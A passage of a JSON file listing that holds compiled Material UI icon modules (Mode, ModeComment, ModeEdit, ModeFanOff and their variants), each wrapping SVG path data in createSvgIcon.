    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM20.71 5.63l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41\"\n}), 'Mode');"
  },
  {
    "path": "packages/mui-icons-material/lib/Mode.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM20.71 5.63l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41\"\n}), 'Mode');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeComment.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.99 4c0-1.1-.89-2-1.99-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4z\"\n}), 'ModeComment');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeComment.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.99 4c0-1.1-.89-2-1.99-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4z\"\n}), 'ModeComment');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeCommentOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 17.17 18.83 16H4V4h16zM20 2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4V4c0-1.1-.9-2-2-2\"\n}), 'ModeCommentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeCommentOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 17.17 18.83 16H4V4h16zM20 2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4V4c0-1.1-.9-2-2-2\"\n}), 'ModeCommentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeCommentRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4z\"\n}), 'ModeCommentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeCommentRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4z\"\n}), 'ModeCommentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeCommentSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2H2v16h16l4 4z\"\n}), 'ModeCommentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeCommentSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2H2v16h16l4 4z\"\n}), 'ModeCommentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeCommentTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4V4c0-1.1-.9-2-2-2m0 15.17L18.83 16H4V4h16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4v12h14.83L20 17.17V4z\",\n  opacity: \".3\"\n}, \"1\")], 'ModeCommentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeCommentTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14l4 4V4c0-1.1-.9-2-2-2m0 15.17L18.83 16H4V4h16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4v12h14.83L20 17.17V4z\",\n  opacity: \".3\"\n}, \"1\")], 'ModeCommentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeEdit.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM20.71 7.04c.39-.39.39-1.02 0-1.41l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75z\"\n}), 'ModeEdit');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeEdit.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM20.71 7.04c.39-.39.39-1.02 0-1.41l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75z\"\n}), 'ModeEdit');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeEditOutline.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM20.71 5.63l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41\"\n}), 'ModeEditOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeEditOutline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM20.71 5.63l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41\"\n}), 'ModeEditOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeEditOutlineOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h3.75L17.81 9.94l-3.75-3.75L3 17.25zm2-2.92 9.06-9.06.92.92L5.92 19H5zM18.37 3.29a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41z\"\n}), 'ModeEditOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeEditOutlineOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h3.75L17.81 9.94l-3.75-3.75L3 17.25zm2-2.92 9.06-9.06.92.92L5.92 19H5zM18.37 3.29a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41z\"\n}), 'ModeEditOutlineOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeEditOutlineRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17.46v3.04c0 .28.22.5.5.5h3.04c.13 0 .26-.05.35-.15L17.81 9.94l-3.75-3.75L3.15 17.1q-.15.15-.15.36M20.71 5.63l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41\"\n}), 'ModeEditOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeEditOutlineRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17.46v3.04c0 .28.22.5.5.5h3.04c.13 0 .26-.05.35-.15L17.81 9.94l-3.75-3.75L3.15 17.1q-.15.15-.15.36M20.71 5.63l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41\"\n}), 'ModeEditOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeEditOutlineSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM21.41 6.34l-3.75-3.75-2.53 2.54 3.75 3.75z\"\n}), 'ModeEditOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeEditOutlineSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM21.41 6.34l-3.75-3.75-2.53 2.54 3.75 3.75z\"\n}), 'ModeEditOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeEditOutlineTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 18.08V19h.92l9.06-9.06-.92-.92z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM5.92 19H5v-.92l9.06-9.06.92.92zM20.71 5.63l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41\"\n}, \"1\")], 'ModeEditOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeEditOutlineTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 18.08V19h.92l9.06-9.06-.92-.92z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM5.92 19H5v-.92l9.06-9.06.92.92zM20.71 5.63l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41\"\n}, \"1\")], 'ModeEditOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeEditOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h3.75L17.81 9.94l-3.75-3.75L3 17.25zm2-2.92 9.06-9.06.92.92L5.92 19H5zM18.37 3.29a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41z\"\n}), 'ModeEditOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeEditOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h3.75L17.81 9.94l-3.75-3.75L3 17.25zm2-2.92 9.06-9.06.92.92L5.92 19H5zM18.37 3.29a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41z\"\n}), 'ModeEditOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeEditRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17.46v3.04c0 .28.22.5.5.5h3.04c.13 0 .26-.05.35-.15L17.81 9.94l-3.75-3.75L3.15 17.1q-.15.15-.15.36M20.71 5.63l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41\"\n}), 'ModeEditRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeEditRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17.46v3.04c0 .28.22.5.5.5h3.04c.13 0 .26-.05.35-.15L17.81 9.94l-3.75-3.75L3.15 17.1q-.15.15-.15.36M20.71 5.63l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41\"\n}), 'ModeEditRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeEditSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM21.41 6.34l-3.75-3.75-2.53 2.54 3.75 3.75z\"\n}), 'ModeEditSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeEditSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM21.41 6.34l-3.75-3.75-2.53 2.54 3.75 3.75z\"\n}), 'ModeEditSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeEditTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 18.08V19h.92l9.06-9.06-.92-.92z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM5.92 19H5v-.92l9.06-9.06.92.92zM20.71 5.63l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41\"\n}, \"1\")], 'ModeEditTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeEditTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 18.08V19h.92l9.06-9.06-.92-.92z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 17.25V21h3.75L17.81 9.94l-3.75-3.75zM5.92 19H5v-.92l9.06-9.06.92.92zM20.71 5.63l-2.34-2.34a.996.996 0 0 0-1.41 0l-1.83 1.83 3.75 3.75 1.83-1.83c.39-.39.39-1.02 0-1.41\"\n}, \"1\")], 'ModeEditTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeFanOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.34 8.36-2.29.82c-.18-.13-.38-.25-.58-.34.17-.83.63-1.58 1.36-2.06C16.85 5.44 16.18 2 13.39 2c-3.08 0-4.9 1.47-5.3 3.26L18.73 15.9c1.5.39 3.27-.51 3.27-2.51 0-4.39-3.01-6.23-5.66-5.03M2.81 2.81 1.39 4.22 5.27 8.1C3.77 7.7 2 8.61 2 10.61c0 4.4 3.01 6.24 5.66 5.03l2.29-.82c.18.13.38.25.58.34-.17.83-.63 1.58-1.36 2.06C7.15 18.56 7.82 22 10.61 22c3.08 0 4.9-1.47 5.3-3.26l3.87 3.87 1.41-1.41z\"\n}), 'ModeFanOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeFanOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.34 8.36-2.29.82c-.18-.13-.38-.25-.58-.34.17-.83.63-1.58 1.36-2.06C16.85 5.44 16.18 2 13.39 2c-3.08 0-4.9 1.47-5.3 3.26L18.73 15.9c1.5.39 3.27-.51 3.27-2.51 0-4.39-3.01-6.23-5.66-5.03M2.81 2.81 1.39 4.22 5.27 8.1C3.77 7.7 2 8.61 2 10.61c0 4.4 3.01 6.24 5.66 5.03l2.29-.82c.18.13.38.25.58.34-.17.83-.63 1.58-1.36 2.06C7.15 18.56 7.82 22 10.61 22c3.08 0 4.9-1.47 5.3-3.26l3.87 3.87 1.41-1.41z\"\n}), 'ModeFanOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeFanOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8c-1.06 0-1.64.29-3.91 1.19-.19-.14-.4-.27-.62-.37.25-1.03.61-1.53 1.33-2.04.81-.57 1.2-1.34 1.2-2.28 0-1.22-.95-2.5-2.6-2.5-3.08 0-4.92 1.47-5.32 3.26l2.33 2.33C10.07 6.69 10 6.38 10 6c0-1.18 1.4-2 3.4-2 .57 0 .6.42.6.5 0 .27-.05.43-.35.65-1.27.9-1.83 1.91-2.16 3.39l-.02.1 7.25 7.25c.24.06.5.11.78.11 1.22 0 2.5-.95 2.5-2.6C22 9.91 20.11 8 18 8m1.5 6c-.27 0-.43-.05-.65-.35-.9-1.27-1.91-1.83-3.39-2.16a3.12 3.12 0 0 0-.15-.62c1.8-.75 2.18-.87 2.69-.87 1.18 0 2 1.4 2 3.4 0 .57-.42.6-.5.6M1.39 4.22l3.89 3.89C5.04 8.05 4.78 8 4.5 8 3.28 8 2 8.95 2 10.6 2 14.09 3.89 16 6 16c1.06 0 1.64-.29 3.91-1.19.19.14.4.27.62.37-.25 1.03-.61 1.53-1.33 2.04-.81.57-1.2 1.34-1.2 2.28 0 1.22.95 2.5 2.6 2.5 3.08 0 4.92-1.47 5.32-3.26l3.86 3.86 1.41-1.41L2.81 2.81zm11.13 11.24c.03 0 .06-.02.09-.02l.97.97c.35.9.42 1.21.42 1.59 0 1.18-1.4 2-3.4 2-.57 0-.6-.42-.6-.5 0-.27.05-.43.35-.65 1.28-.89 1.83-1.91 2.17-3.39m-3.98-2.94c.03.22.08.42.15.62-1.8.74-2.18.86-2.69.86-1.18 0-2-1.4-2-3.4 0-.57.42-.6.5-.6.27 0 .43.05.65.35.89 1.28 1.91 1.83 3.39 2.17\"\n}), 'ModeFanOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeFanOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8c-1.06 0-1.64.29-3.91 1.19-.19-.14-.4-.27-.62-.37.25-1.03.61-1.53 1.33-2.04.81-.57 1.2-1.34 1.2-2.28 0-1.22-.95-2.5-2.6-2.5-3.08 0-4.92 1.47-5.32 3.26l2.33 2.33C10.07 6.69 10 6.38 10 6c0-1.18 1.4-2 3.4-2 .57 0 .6.42.6.5 0 .27-.05.43-.35.65-1.27.9-1.83 1.91-2.16 3.39l-.02.1 7.25 7.25c.24.06.5.11.78.11 1.22 0 2.5-.95 2.5-2.6C22 9.91 20.11 8 18 8m1.5 6c-.27 0-.43-.05-.65-.35-.9-1.27-1.91-1.83-3.39-2.16a3.12 3.12 0 0 0-.15-.62c1.8-.75 2.18-.87 2.69-.87 1.18 0 2 1.4 2 3.4 0 .57-.42.6-.5.6M1.39 4.22l3.89 3.89C5.04 8.05 4.78 8 4.5 8 3.28 8 2 8.95 2 10.6 2 14.09 3.89 16 6 16c1.06 0 1.64-.29 3.91-1.19.19.14.4.27.62.37-.25 1.03-.61 1.53-1.33 2.04-.81.57-1.2 1.34-1.2 2.28 0 1.22.95 2.5 2.6 2.5 3.08 0 4.92-1.47 5.32-3.26l3.86 3.86 1.41-1.41L2.81 2.81zm11.13 11.24c.03 0 .06-.02.09-.02l.97.97c.35.9.42 1.21.42 1.59 0 1.18-1.4 2-3.4 2-.57 0-.6-.42-.6-.5 0-.27.05-.43.35-.65 1.28-.89 1.83-1.91 2.17-3.39m-3.98-2.94c.03.22.08.42.15.62-1.8.74-2.18.86-2.69.86-1.18 0-2-1.4-2-3.4 0-.57.42-.6.5-.6.27 0 .43.05.65.35.89 1.28 1.91 1.83 3.39 2.17\"\n}), 'ModeFanOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeFanOffRounded.js",
